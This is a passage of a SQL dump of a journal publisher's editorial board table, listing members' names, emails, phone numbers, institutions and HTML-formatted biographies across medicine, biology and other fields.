include the evaluation of direct and indirect restorations, as well as the application of new digital technologies to improve quality and workflow of dental procedures.</span></p>\r\n',1,'2018-08-15 10:29:04','2018-09-04 22:39:47',1),(259,29,20,'1534309711.jpeg','Nihar Nikhilesh Shah','shahniharn@gmail.com','(973)204-4773','Assistant Professor of Medicine; Section of Gastroenterology and Hepatology','Editorial board member','USA','Joan C. Edwards School of Medicine at Marshall University','001','',1,'2018-08-15 10:38:31','2018-08-15 10:38:31',1),(260,25,20,'1534430278.gif','Helene Santos Barbosa','helenes.bar@gmail.com','','Senior researcher ','Editorial board member','Brazil','Oswaldo Cruz Foundation','09','',1,'2018-08-16 20:07:57','2018-08-16 20:07:57',1),(261,25,20,'1534430873.jpg','Daniela R. Recchia','daniela_recchia@yahoo.com.br','','Faculty of Health Sciences','Editorial board member','Germany','(University of Witten/Herdecke','10','',1,'2018-08-16 20:17:56','2018-08-16 20:17:56',1),(262,29,20,'1534431333.jpg','Kexin Liu','kexinliu@dlmedu.edu.cn','86-411-86110407','Department of Clinical Pharmacology','Editorial board member','China','Dalian Medical University','06','<p><span style=\"font-family:Times New Roman,Times,serif\">Kexin Liu received his B.S. degree in Clinical Medicine and M.S. degree in Pharmacology from Dalian medical University in China and Ph. D. degree in Pharmacy in The University of Tokyo (Laboratory of Yuichi Sugiyama, Department of Pharmaceutics, Faculty of Pharmaceutical Sciences) in Japan. The focus of his research is on the molecular pharmacokinetics of transport in liver, intestine, kidney as well as transporter-mediated DDI and MDR.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;Prof. Kexin Liu is a co-author of more than 250 publications in international journals and a first or corresponding author in the famous journals such as Hepatology, Biochem Pharmacol, Drug Metab Dispos, J Pharmacol Exp Ther, Am J Physiol, Pharm Res, Toxical Appl Pharm, Eur J Pharm Sci and 50 book chapters as well as 30 review articles. He serves as a vice president of CSSX from 2005 and a dean in College of Pharmacy in Dalian Medical University from 2004.2-2015</span></p>\r\n',1,'2018-08-16 20:25:32','2018-08-16 20:25:32',1),(263,29,20,'1534431645.jpg','Chia-tung shun','ctshun@ntu.edu.tw','011-886-223123456(65497)','Department and Institute of Forensic Medicine','Editorial board member','Taiwan','National Taiwan University','07','<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Chia-Tung Shun is professor in Department and Institute of Forensic Medicine in National Taiwan University in Taiwan. He has attended for many conferences and he has submitted many presentations in different backgrounds like Intragenic homozygous deletions of MTS1 gene in gastric cancer in Taiwan. Overexpression of MUC5 genes is associated with early post-operative metastasis in non-small-cell lung cancer.</span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>Research Interest:</strong></em></span></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Forensic Parthology, Pathology, Gastric cancer</span></span></p>\r\n',1,'2018-08-16 20:30:44','2018-08-16 20:30:44',1),(264,33,20,'1534435306.jpg','Ahmed Ragab Gaber Ahmed','ragabb900@yahoo.com','','Associate Prof. Dr. of developmental and experimental biology, Division of Anatomy and Embryology, Zoology department, Faculty of Science','Editorial board member','Egypt','Beni-Suef University','09','<p><span style=\"font-family:Times New Roman,Times,serif\">Ahmed RG received his Ph.D. in Developmental Biology from Beni-Suef University, Egypt. He received his research training as a visiting scholar at the Katholic University,Belgium.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is working as Associate Professor of developmental and experimental biology, Division of Anatomy and Embryology, Zoology department, Faculty of Science, Beni-Suef University, Egypt.He is specialist in of developmental neuroscience neurotoxicology, developmental neuroendocrinology, developmental biology and biochemical development. He has outstanding record of scientific and academic accomplishments with multiple research funding, numerous publications in highly prestigious journals and various presentations in both national and international conferences.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is a member of number of eminent societies, organizations and schools. He served as a scientific editors and reviewer for the national and international research institutions.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">His publication: - International books: 5, International papers: 123, International Chapters: 3, Citation: 3320.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><u><em><strong>Research Interest</strong></em></u>:</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Thyroid-Brain Disorders, Endocrine disruptors, Anti-thyroid drugs, Thyroid Cancer, Gestational Diabetes</span></p>\r\n',1,'2018-08-16 21:31:46','2018-08-21 18:10:21',1),(265,33,20,'1534435789.jpg','Alok Raghav','alokalig@gmail.com','91-9412672185, +917275304443','Department of Biosciences and Bioengineering','Editorial board member','India','Indian Institute of Technology Kanpur','10','<p><span style=\"font-family:Times New Roman,Times,serif\">Alok Raghav Ph.D Endocrinology, worked on &ldquo;Studies on glycated albumin and its clinical relevance in diabetes and its associated complications&rdquo; under Prof. Jamal Ahmad. I worked hardly to set the goal of standard in the endocrinology field. During PhD duration, I deeply thought of making some diagnostic device for the detection of glycated albumin, as my area of specialization is also glycated albumin. I submitted the entry for the award in Gandhian Young Innovation Technological Award and also in Knimbus Young Innovator award. I was among the top 20 entries throughout the country for my idea and got the appreciation certificate also. The idea for creating the hypothesis lies with the fact that glycated albumin is a short term glycemic marker other than HbA1c. The sensor named as glycabumin sensor and it was noninvasive device that I proposed. Apart from this gadget idea, I have been felicitated with the young scientist award at Integral University, Lucknow during an International Conference for the best paper presentation in oral category. I have also received prestigious Elsevier travel award for attending the international conference in Miami, USA. Aligarh Muslim University, also given me travel award for attending the International conference at Budapest, Hungary. The prestigious and rarest award from Research Society for Study of Diabetes in India also given me a cash prize travel award for presenting research paper at RSSDI Hyderabad. I have published 34 research papers in peer reviewed journals.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Research Interest: Diabetes mellitus, Immunology, Tissue engineering, pancreatic cells</span></p>\r\n',1,'2018-08-16 21:39:49','2018-08-21 18:13:51',1),(266,33,20,'1534436145.jpg','Rohit  Sharma','dhanvantari86@gmail.com','9816724054','Research officer','Editorial board member','India','Central Ayurveda Research Institute for Drug Development,CCRAS','11','<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Dr. Rohit Sharma (MD, Ph.D)</strong>, is Research officer (Ayu.), Central Ayurveda Research Institute for Drug Development, CCRAS, Ministry of AYUSH, Government of India, Kolkata. He did his post-graduation and doctorate from the Institute for Post Graduate Teaching &amp; Research in Ayurveda, Gujarat Ayurved University, Jamnagar. He has been the recipient of several academic awards and honors and has more than 100 International research publications, one book and few chapters in books to his credit. He is also the editorial board member and reviewer of 26 International Research Journals. He was the recipient of &ldquo;Gold medal&rdquo; awarded by Governor of Gujarat for achievements; and National level Awards &ldquo;INSA Young Historian of Science Award, 2015&rdquo; awarded by INDIAN NATIONAL SCIENCE ACADEMY and &ldquo;Young Scientist Award&rdquo; by Education Expo TV (EET) CRS. Dr. Sharma is working on various aspects of herbal/herbo-mineral drug research, drug development, pharmacovigilance and engaged in various clinical research trials.</span></p>\r\n',1,'2018-08-16 21:45:45','2018-08-16 21:45:45',1),(267,24,20,'1534650502.jpg','Alireza Heidari','Alireza.Heidari@calsu.us','','Director of the BioSpectroscopy Core Research ','Editorial board member','USA','California South University','002','<p><span style=\"font-family:Times New Roman,Times,serif\">Prof. Dr. Alireza Heidari, Ph.D., D.Sc. is a Full Professor and Academic Tenure of Chemistry at California South University (CSU), Irvine, California, USA. He has got his Ph.D. and D.Sc. degrees from California South University (CSU), Irvine, California, USA. Furthermore, he has double postdocs in Project Management, Oncology, Human Cancer Tissues and Synchrotron Radiation from Monash University, Melbourne, Victoria, Australia and also in Nanochemistry and Modern Molecular Electronic&ndash;Structure Computations Theory from California South University (CSU), Irvine, California, USA.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">His research interests include Biophysical Chemistry, Biomolecular Spectroscopy, Quantum Chemistry, Nanochemistry, Modern Electronic Structure Computations, Theoretical Chemistry, Mathematical Chemistry, Computational Chemistry, Vibrational Spectroscopy, Molecular Modelling, Ab initio &amp; Density Functional Methods, Molecular Structure, Biochemistry, Molecular Simulation, Pharmaceutical Chemistry, Medicinal Chemistry, Oncology, Synchrotron Radiation, Synchrocyclotron Radiation, LASER, Anti&ndash;Cancer Nano Drugs, Nano Drugs Delivery, ATR&ndash;FTIR Spectroscopy, Raman Spectroscopy, Intelligent Molecules, Molecular Dynamics, Biosensors, Biomarkers, Molecular Diagnostics, Numerical Chemistry, Nucleic Acids, DNA/RNA Monitoring, DNA/RNA Hypermethylation &amp; Hypomethylation, Human Cancer Tissues, Human Cancer Cells, Tumors, Cancer Tissues, Cancer Cells, etc.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He has participated at more than three hundreds reputed international conferences, seminars, congresses, symposiums and forums around the world as yet. Also, he possesses many published articles in Science Citation Index (SCI)/International Scientific Indexing (ISI) Journals. It should be noted that he has visited many universities or scientific and academic research institutes in different countries such as United States, United Kingdom, Canada, Australia, New Zealand, Scotland, Ireland, Netherlands, Belgium, Denmark, Greece, Russia, Estonia, Ukraine, Turkey, France, Swiss, Germany, Sweden, Norway, Italy, Austria, Czech Republic, Hungary, Poland, South Africa, Egypt, Brazil, Spain, Portugal, Mexico, Japan, Singapore, Malaysia, Thailand, Taiwan, Hong Kong, South Korea, China, India, Qatar, United Arab Emirates, etc. as research fellow, sabbatical and volunteer researcher or visitor and so on heretofore. He has a history of several years of teaching for college students and various disciplines and trends in different universities. Moreover, he has been a senior advisor in various industry and factories.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is expert in many computer programs and programming languages. Hitherto, he has authored more than twenty books and book chapters in different fields of Chemistry. Syne, he has been awarded more than nine hundreds reputed international awards, prizes, scholarships and honors. Heretofore, he has multiple editorial duties in many reputed international journals, books and publishers. Hitherward, he is a member of more than three hundreds reputed international academic&ndash;scientific&ndash;research institutes around the world. It should be noted that he is currently the President of American International Standards Institute (AISI), Irvine, California, USA and also Director of the BioSpectroscopy Core Research Laboratory at California South University (CSU), Irvine, California, USA.</span></p>\r\n',1,'2018-08-19 09:18:21','2018-08-19 09:18:21',1),(268,18,20,'1534655216.jpg','George Chiladze','g.chiladze@ug.edu.ge','','Professor','Editorial board member','Georgia','The University of Georgia','12','',1,'2018-08-19 10:36:56','2018-08-19 10:36:56',1),(269,29,20,'1534655837.png','Andy Petroianu','petroian@gmail.com','','Department of Surgery School of Medicine','Editorial board member','Brazil','Federal University of Minas Gerais','08','<p><span style=\"font-family:Times New Roman,Times,serif\">Andy Petroianu, MD in 1976 and PhD in Surgery in 1985 at Federal University of Minas Gerais, Brazil. Currently, is working as Full Professor at the Department of Surgery of the School of Medicine in the Federal University of Minas Gerais and is the Head of the Service of General Surgery at the Santa Casa Hospital in Belo Horizonte, Brazil. He is the Coordinator of the Medicine Unit of the National Council of Science and Technology in Brazil, and Member of the Surgery Sector of the National Post-graduate Council in Brazil, Member of Medicine Sector of the Foundation for Assistance to Research of Minas Gerais State. His research has included studies on spleen anatomy and functions, conservative surgeries on spleen, healing procedures, organ transplantations, digestive motility, oncologic surgeries, etc. He has received 112 awards and honors, such as Best Surgeon, Best Researcher, Honor Citizen of Belo Horizonte city, Best research according to the National Academy of Medicine, Outstanding researcher by the Academy of Medicine of Minas Gerais, 19 Best research according to the Brazilian College of Surgeons, etc. He is author of 514 research articles, 25 books, 169 book chapters and more than 3000 presentations in Medical and Research Meetings.</span></p>\r\n',1,'2018-08-19 10:47:16','2018-08-19 10:47:16',1),(270,35,20,'1534657786.png','Magda Sabbour','sabbourm@yahoo.com','002/012 33 0 5136','Professor','Editorial board member','Egypt','National Research Center','34','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">She holds on scientific excellence, and on the first place on the pests&amp; plant protection Department&nbsp; for five consecutive years from 2010 and even 2015.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">She holds on scientific excellence, and on the first section for five consecutive years from 2010 and even 2016</span>,<span style=\"color:#222222\">She holds third place in the scientific excellence at the divisional level and on the first section.</span></span></p>\r\n\r\n<p style=\"text-align:left\"><span style=\"font-family:Times New Roman,Times,serif\"><em><strong><u><span style=\"color:#222222\">Prize:</span></u></strong></em></span></p>\r\n\r\n<p style=\"text-align:left\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#222222\">Award of scientific excellence in advanced technology serving agricultural sciences</span></span></p>\r\n\r\n<p style=\"text-align:left\"><span style=\"font-family:Times New Roman,Times,serif\">Membership &nbsp;&nbsp;of 18&nbsp; international <span style=\"color:#222222\">Committee</span></span></p>\r\n\r\n<p style=\"text-align:left\"><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;Reviewer of 21 international journals.</span></p>\r\n\r\n<p style=\"text-align:left\"><span style=\"font-family:Times New Roman,Times,serif\">Charing in 31 international conference </span></p>\r\n\r\n<p style=\"text-align:left\"><span style=\"font-family:Times New Roman,Times,serif\">Supervisor of 3 student</span></p>\r\n\r\n<p style=\"text-align:left\"><span style=\"font-family:Times New Roman,Times,serif\">Charing in 27 projects as a Pi, Co Pi&nbsp; or member </span></p>\r\n\r\n<p style=\"text-align:left\"><span style=\"font-family:Times New Roman,Times,serif\">Have 9 published books.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Have 138 articles published in international journals.</span></p>\r\n',1,'2018-08-19 11:19:45','2018-08-19 11:19:45',1),(271,23,20,'1534658109.jpg','Tarek Salah-Eldin Aboushousha','t.aboushousha@tbri.gov.eg','','Professor & Head of Pathology Department','Editorial board member','Egypt','Theodor Bilharz Research Institute','07','<p><span style=\"font-family:Times New Roman,Times,serif\">Tarek Aboushousha, M.D. (Pathology), Faculty of Medicine, Cairo University-Egypt . Professor of pathology and head of pathology department, in Theodor Bilharz Research Institute, Cairo-Egypt, with nearly 32 years of experience in the field of histo and cytopathology including both routine and research work and more than 45 published papers as well as many accepted research articles in international conferences especially in the fields of hepatology, gastroenterology and urology. I have also past European experience in Institute Pasteur, Lyon-France and Ruhr universtat, Bochum-Germany. I worked for 10 years as a consultant of pathology in KSA.</span></p>\r\n',1,'2018-08-19 11:25:10','2018-08-19 11:25:10',1),(272,33,20,'1534854948.jpg','Pantea-Stoian Anca-Mihaela','ancastoian@yahoo.com','0040-723-684.855','Faculty of Medicine and Pharmacy-Diabetes, Nutrition and Metabolic diseases Departament','Editorial board member','Romania','University of  Medicine and Pharmacy','12','<p><span style=\"font-family:Times New Roman,Times,serif\">I am a graduate of two faculties of medicine, the first in 2001 - Physiokinetotherapy, the courses I attended for 5 years at UMF Carol Davila Bucharest and in 2004 I graduated from the Faculty of General Medicine. I started my career as well trainee at Bucharest University Hospital, and from 2005 to 2018 I was assistant professor at UMF Carol Davila - Discipline of Food Hygiene. From 2018 I won the Chief of Contests at the Discipline of Diabetes, Nutrition and Metabolic Diseases, where I am active nowadays. My academic and professional development has often included a broad orientation, because I felt that something was needed in addition to what I had learned in the residency stages. I also attended training courses in medical aesthetics, this helps me greatly to develop my nutritional and diabetes collateral. And the nephrology or ultrasound residency, which I am currently following has come as a necessity of niche over-specialization. I am passionate about everything that can bring novelty in diabetes and nutrition, I constantly seek new opportunities for development and research that I can implement in everyday practice.</span></p>\r\n',1,'2018-08-21 18:05:47','2018-08-21 18:05:47',1),(273,33,20,'1534855889.jpg','Paul C. Chikezie','p_chikezie@yahoo.com',' +2348038935327','Department of Biochemistry','Editorial board member','Nigeria','Imo State University','13','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Paul C. Chikezie is a professor in the Department of Biochemistry, Imo State University, Owerri, Nigeria.&nbsp;His international experience includes various programs, contributions and participation in different countries for diverse fields of study.</span></p>\r\n\r\n<h5><strong><em><span style=\"font-family:Times New Roman,Times,serif\">Research Interest:</span></em></strong></h5>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Biochemistry, Human Biology, biochemical and molecular ecology</span></p>\r\n',1,'2018-08-21 18:21:29','2018-08-21 18:21:29',1),(274,29,20,'1534865923.png','Makhoul Elias','eliemakhoul@hotmail.com','00 961 4 393333 ','Professor','Editorial board member','Belgium','University Libre De Brussels','09','<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">Dr. Makhoul Elias. He is working as a faculty in University Libre De Brussels. His research interests and Specializations include Emergency and catastrophe Medicine, Internal Medicine, Gastro-Enterology and Acute medicine. He is a member of the Lebanese and Belgium Gastro-Ent&eacute;rologie society and head of hepato-Biliary and Pancreas division in University Hospital Notre Dame Des Secours&nbsp; Jbeil Lebanon affiliated to the faculty of medicine and sciences of&nbsp; Holy Spirit University of Kaslik.</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:black\">He has served as Director of Byblos International digestive Workshop and Fonder of Mon Liban Social &amp; Medical &amp; cultural association. He has shared many publications in this field to the scientific community.</span></span></p>\r\n',1,'2018-08-21 21:08:43','2018-08-21 21:08:43',1),(275,29,20,'1534866348.jpg','Giuseppe Murdaca','Giuseppe.Murdaca@unige.it','+39-010-3537924','Associate Professor-Internal Medicine','Editorial board member','Italy','Di.M.I.-University of Genova','10','',1,'2018-08-21 21:15:48','2018-08-21 21:15:48',1),(276,35,20,'1534867737.jpg','Aliyev Zakir Husein oglu','zakiakademik@mail.ru','','Associate Professor ','Editorial board member','Azerbaijan','Institute of Erosion and Irrigation NAS of Azerbaijan Tejaswini Ranjan','35','<p><span style=\"font-family:Times New Roman,Times,serif\">I, Aliyev Zakir Husein oglu was born in 03/05/1949, in the family of an employee. In 1972 he graduated with honors from the Department of Mechanical Azerbaijan State Oil Academy. Po end of ASOA in 1972, in the face of a specialist with higher education being, a tendency to engage in research activities was taken in Azerbaijan Scientific-Research Institute (AzINMASh) for the position of Art . engineer in the department &quot;wellhead&quot;, where he worked on 1975.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In 1975, due to the results of earlier research papers employed in the profile of activities and thematic community (v.t.ch study &quot;inventory of land water resources, and the dynamics of its change.&quot; &quot;&quot; Structural changes of the earth &quot;,&quot; Caspian Sea environmental problems, and the atmosphere surface air surface &quot;, etc.) has been invited to work in the Academy of Sciences of Az. SSR. the Scientific Center &quot;Caspian&quot;, which later functioned as the introduction of &quot;Glavkosmos&quot; of the USSR (now called the &quot;Azerbaijan National Aerospace Agency - ANASA&quot;), where he worked on 1994.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In the period of 1975-1994 years of working in the organization in various responsible positions (Head of Sector, Head. Laboratory, Head. Department, Ch. Technologist, Ch. Engineer Company, Deputy. Director of the plant, the plant manager, the head of the scientific-technical complex) involved development, creation and implementation of a number of scientific and technical projects and thematic programs for agricultural purposes including work performed by special resolution CM Az. Republic titled &quot;Space of Azerbaijan national economy&quot;, which was one of the leading specialists in the direction of subjects.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Occupying positions of responsibility in ANASA system, was the supervisor of a number of these projects (R &amp; D) and many others participated directly in the face of the leading in the direction of, the results of which have been successfully implemented in all areas of agricultural production, not only in Azerbaijan, but also in other states CIS, Turkey, Iran.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">In 1994 he was invited to work in the Baku office VNPO &quot;Rainbow&quot; (now renamed the Institute of Erosion and Irrigation of Azerbaijan National Academy of Sciences of the Republic), worked here on the following positions: Head. Design department, director SKTB, Head. complex development department, creation and implementation of low-intensity irrigation systems, and now, and the Deputy Director of the Institute of Erosion and Irrigation of the Republic of Azerbaijan National Academy of Sciences on scientific work, which is now.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">I have a degree d.f.a. sciences, associate professor, she is the author of over 200 published scientific works, including 10 and weighty monographs and more than 15 patents, many of which have found large-scale introduction in production of farmers and others. Farms both in Azerbaijan and in other CIS countries (bw Georgia, Kazakhstan, Tajikistan, Uzbekistan, Russia) as well as in Turkey, Poland and Iran. Taking part in the implementation of a large number of international scientific and economic projects implemented in the framework of the program, &quot;FAO&quot; &quot;ICARDA&quot;, &quot;Azerbaijan-Russia-Turkey&quot;. . &quot;The Azerbaijani-Polish&quot; and others, where he was executive in charge of development, whose works are also successfully introduced agriculture in many countries: in the CIS and far abroad.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Research interests, -Agrano-environmental problems resource saving, is the supervisor of the eponymous educational, scientific and university-academic direction of the study performed in conjunction with a number of scientific research institute on problems of development, creation and implementation of automation systems, low-intensity and optimize irrigation in the conditions of insufficient natural moist areas Azerbaijan, in order to develop agriculture and mining study the possibility of creating environmental technologies to combat soil erosion.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Areas of teaching and methodological activities: Object-oriented design technology information systems, remote control systems of low-intensity agricultural irrigation; Modern distance education learning technology: problems and prospects and the fundamentals of irrigated agriculture on sloping lands.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">The initiator of the creation and implementation of new information and telecommunication remote control technology in irrigation systems and transmission of information to consumers through the Internet or satellite communication links.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Given their contribution to the development of the agro-industrial science as a result of many years of scientific activity, in 1997 he was elected a member of. correspondent, and in 1998 a full member (academician) of the International Academy of Ecology and Natural Resources. In 2001 he was elected a full member of the Academy of Sciences of the Russian Federation The water problems. In 2014 he was elected professor of RAE, established the medal A. Nobelya.V 2015, the year for his significant contribution to the development of world science awarded Order &laquo;PRIMUSINTERPARES&raquo;, etc.</span></p>\r\n\r\n<p><em><strong><span style=\"color:#00b050\">Research Interest:</span></strong></em></p>\r\n\r\n<p>Agrano-environmental problems resource saving, is the supervisor of the eponymous educational, scientific and university-academic direction of the study performed in conjunction with a number of scientific research institute on problems of development, creation and implementation of automation systems, low-intensity and optimize irrigation in the conditions of insufficient natural moist areas Azerbaijan, in order to develop agriculture and mining study the possibility of creating environmental technologies to combat soil erosion.</p>\r\n',1,'2018-08-21 21:33:20','2018-08-21 21:38:57',1),(277,15,20,'1534999944.jpg','Chung-Yi Chen','xx377@fy.edu.tw','+886-7-7811151-6200','Dean and Professor, School of Medical and Health Sciences','Editorial board member','Taiwan','Fooyin University','23','<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">President Chen obtained PhD in 1999 at Kaohsiung Medical University. Currently teaches in Fooyin University, as most young is also the most senior professors and deans. The past 20 years, he has his scientific interests focused on life-threatening diseases, including traditional Chinese medicine used for cancer research. Analysis in recent year&rsquo;s major active ingredients such as ginger, pepper and cinnamon used in gastrointestinal cancer, anti-inflammatory, antioxidant, antiparasitic, and other topics. President Chen specializes in isolation, purification and structural analysis of active components of plants. President Chen directed against active constituents of oral cancer, liver cancer, and rectal cancer. President Chen was just over 45 years old, but his work has more than 220 papers, Taiwan one of the young talents. Professor Chen was invited more than 170 kinds of Journal editorial boards. Professor Chen won numerous awards at home and abroad, from 2015, was awarded the lifetime achievement award; from 2016 was awarded the health care &amp; biotechnology merit award. President Chen obtained PhD in 1999 at Kaohsiung Medical University. Currently teaches in Fooyin University, as most young is also the most senior professors and deans. The past 20 years, he has his scientific interests focused on life-threatening diseases, including traditional Chinese medicine used for cancer research. Analysis in recent year&rsquo;s major active ingredients such as ginger, pepper and cinnamon used in gastrointestinal cancer, anti-inflammatory, antioxidant, antiparasitic, and other topics. President Chen specializes in isolation, purification and structural analysis of active components of plants. President Chen directed against active constituents of oral cancer, liver cancer, and rectal cancer. President Chen was just over 45 years old, but his work has more than 220 papers, Taiwan one of the young talents. Professor Chen was invited more than 170 kinds of Journal editorial boards. Professor Chen won numerous awards at home and abroad, from 2015, was awarded the lifetime achievement award; from 2016 was awarded the health care &amp; biotechnology merit award.</span></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong><em><span style=\"color:#00b050\">Research Interest:</span></em></strong></span></p>\r\n\r\n<p><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Pharmacognosy,<a href=\"https://www.omicsonline.org/scholarly/cell-therapy-products-journals-articles-ppts-list.php\">&nbsp;Natural Product Research</a>, Chinese Medicine, Pharmacy</span></span></p>\r\n',1,'2018-08-23 10:22:23','2018-08-23 10:26:17',1),(278,29,20,'1535000526.png','Dimitrios Filippou','d_filippou@hotmail.com','30.6944287125','Chief of Laparoscopi Surgery and Surgical Oncology','Editorial board member','Greece','Neo Athinaio Hospital','11','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dr. Dimitrios K. Filippou studied medicine in Athens University Medical School and then surgery in various Athens Oncological and General Hospitals and in Hospital Cantonal de Fribourg in Switzerland. He was appointed as Chief of the Department of Laparoscopic Surgery, Surgical Oncology in Neo-Athinaio MD Hospital in Athens, Greece and also Responsible for the Department for Laser Applications. He worked as doctoral researcher in the Dept. of Physiology in Athens University Medical School. In his doctoral thesis studied the oxidants and antioxidant status and alterations in burned patients. His educational experience in pre- and postgraduate level includes teaching and laboratory exercises in various educational objects including anatomy, physiology, sport medicine, hygiene, surgical anatomy etc. He owns more than 90 publications in International Journal and he has written, translated or contributed in more than 30 medical books. He translated many Medical Books for Greek Medical Schools. He has contributed in a large number of congresses and symposiums with lectures, presentations and round tables. He also serves as Editor or Reviewer in many International Journals.</span></p>\r\n',1,'2018-08-23 10:32:06','2018-08-23 10:35:53',1),(279,26,20,'1535437005.jpg','Indranil Dasgupta','indranildasgupta@aol.com','(215) 955-5050','Assistant Professor','Editorial board member','USA','Jefferson University','02','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Dasgupta has been Clinical Assistant Professor of Medicine at Jefferson Medical College and a member of the Thomas Jefferson University Hospital Heart Institute in Philadelphia, Pennsylvania since 2002. He specializes in Clinical Cardiovascular Disease and is part of the Adjunct Faculty Vascular Biology Working Group at the University of Florida School of Medicine. He graduated from the St. George&#39;s University School of Medicine in 1994, after receiving his MPH-International Health from Loma Linda University in 1987 and his MBA-Finance from George Washington University in 1989. In addition to completing his Cardiology Fellowship at Robert Wood Johnson Medical School of the University of Medicine and Dentistry of New Jersey, serving as Chief in his final year, Dr. Dasgupta completed a Fellowship in Geriatric Medicine, MCP-Hahnemann University.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Dasgupta&rsquo;s research interests include: Heart disease in older women and management of mitral valve disease in older adults.</span></p>\r\n',1,'2018-08-28 11:46:44','2018-08-28 11:46:44',1),(280,18,20,'1535438030.jpg','Helena Isabel da Silva Reis','helenaisabelsilvareis@gmail.com','','lecturer in Occupational Therapy','Editorial board member','Portugal','The Polytechnic Institute of Leiria, School of Health Sciences','13','<p><span style=\"font-family:Times New Roman,Times,serif\">Helena Isabel da Silva Reis is a lecturer in Occupational Therapy at the Polytechnic Institute of Leiria, at the School of Health Sciences.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Helena has completed her PhD in Child Studies at the Institute of Education of the University of Minho, in July 2014; she is also a Clinical Specialist in Therapy and Rehabilitation - Occupational Therapy since December 2014 and completed an MSc in Early Intervention, focusing in Special Education by the Institute of Child Studies at the University of Minho since January 2009.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Helena has also completed a Postgraduate degree course in &quot;Sensory Integration - 1st edition&quot; by the Cooperative of Higher Education and University Polytechnic (CESPU) in February 2015. Specialised in the area of &quot;Sensory Integration&quot; by USC / WPS including administration and interpretation of the Sensory Integration and Praxis Test (SIPT) from January to October 2009.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Helena has started teaching in 2010 at CESPU and in 2011 she was invited to teach modules of the 3rd year of the Degree of Occupational Therapy at the Higher Health Institute of Alto Ave (ISAVE).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Most of her clinical practice was based in an early intervention team specialised in Developmental and Autism Spectrum disorders, from September 2003 to February 2017. She also worked in private pediatric clinics alongside of her work in the Association for Developmental Disorders and Autism (APPDA). Helena has scientific publications in international journals.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">She is currently involved in the project for the validation of the Sensory Processing Measure -Pre-school, Sensory Processing Measure - Preschool (SPM-P), in the School and Home versions by the CiTechCare Research Unit. Helena is also involved in the international project by the University of Minho: &quot;Intervention with children with Autism Spectrum Disorder: a Luso-Brazilian proposal&quot; under the bilateral agreement FCT-CAPES.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Helena has reviewed a variety of peer reviewed publications including the Journal of Early Intervention and Autism and Developmental Language Impairments. She has undertaken a range of specialisation courses in Autism Spectrum Disorders and attended conferences as a guest speaker in this field.</span></p>\r\n',1,'2018-08-28 12:00:58','2018-08-28 12:03:50',1),(281,31,20,'1535444454.jpg','Guillermo F. Lopez Sanchez','gfls@um.es','868 888 671','Assistant Professor,Physical Activity and Sport','Editorial board member','Spain','University of Murcia','08','',1,'2018-08-28 13:50:53','2018-08-28 13:50:53',1),(282,31,20,'1535449861.jpg','Arturo Diaz Suarez','ardiaz@um.es','','Professor, Faculty of Sport Sciences','Editorial board member','Spain','University of Murcia','09','',1,'2018-08-28 15:21:01','2018-08-28 15:21:01',1),(283,30,20,'1535450152.jpg','Teodora Daneva ','danevadoki@abv.bg','','Faculty of Biology of Sofia University','Editorial board member','Bulgaria','Institute of Biology and Immunology of Reproduction','13','',1,'2018-08-28 15:25:51','2018-08-28 15:25:51',1),(284,25,20,'1535997623.jpg','Alisan Kahraman','alisan.kahraman@uk-essen.de','+49-201-72384797','Department of Gastroenterology & 